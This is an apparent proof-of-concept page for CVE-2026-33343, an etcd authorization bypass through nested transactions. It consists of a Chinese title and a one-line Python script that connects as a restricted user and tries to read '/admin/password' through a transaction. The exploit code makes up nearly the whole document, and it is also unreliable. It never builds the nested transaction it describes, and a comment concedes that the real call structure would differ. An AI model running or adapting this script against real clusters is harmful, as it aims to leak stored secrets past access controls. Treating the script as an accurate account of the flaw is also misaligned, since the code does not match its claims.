CVE-2026-33343 etcd嵌套事务权限绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33343: etcd Auth Bypass via Nested Transactions # This script demonstrates how a restricted user might access unauthorized keys. import etcd3 # Configuration ETCD_HOST = '127.0.0.1' ETCD_PORT = 2379 # Credentials for a user restricted to specific keys (e.g., 'safe/') USERNAME = 'restricted_user' PASSWORD = 'user_password' try: # Establish connection using the restricted account client = etcd3.client(host=ETCD_HOST, port=ETCD_PORT, user=USERNAME, password=PASSWORD) print("[+] Connected to etcd.") # 1. Normal Attempt: Trying to access a restricted key (e.g., '/admin/password') # This is expected to fail due to RBAC policies. print("[-] Attempting direct access to '/admin/password'...") try: val, _ = client.get('/admin/password') print(f"Direct access success (unexpected): {val}") except Exception as e: print(f"Direct access failed (expected): {type(e).__name__}") # 2. Exploit Attempt: Using nested transactions to bypass authorization # The vulnerability allows the user to nest operations where the permission # check is only enforced on the parent scope, effectively ignoring restrictions # on the child transaction operations. print("[!] Attempting exploit via nested transaction...") # Define a transaction that targets the restricted key # Note: In a real exploit, the specific API call structure for nested # transactions would be constructed to evade the range checker. txn_status, txn_response = client.transaction( compare=[], success=[ client.transactions.get('/admin/password') ], failure=[] ) if txn_status: print("[+] Exploit successful! Data leaked:") for value, metadata in txn_response: print(f"Key: {metadata.key.decode('utf-8')}, Value: {value.decode('utf-8')}") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")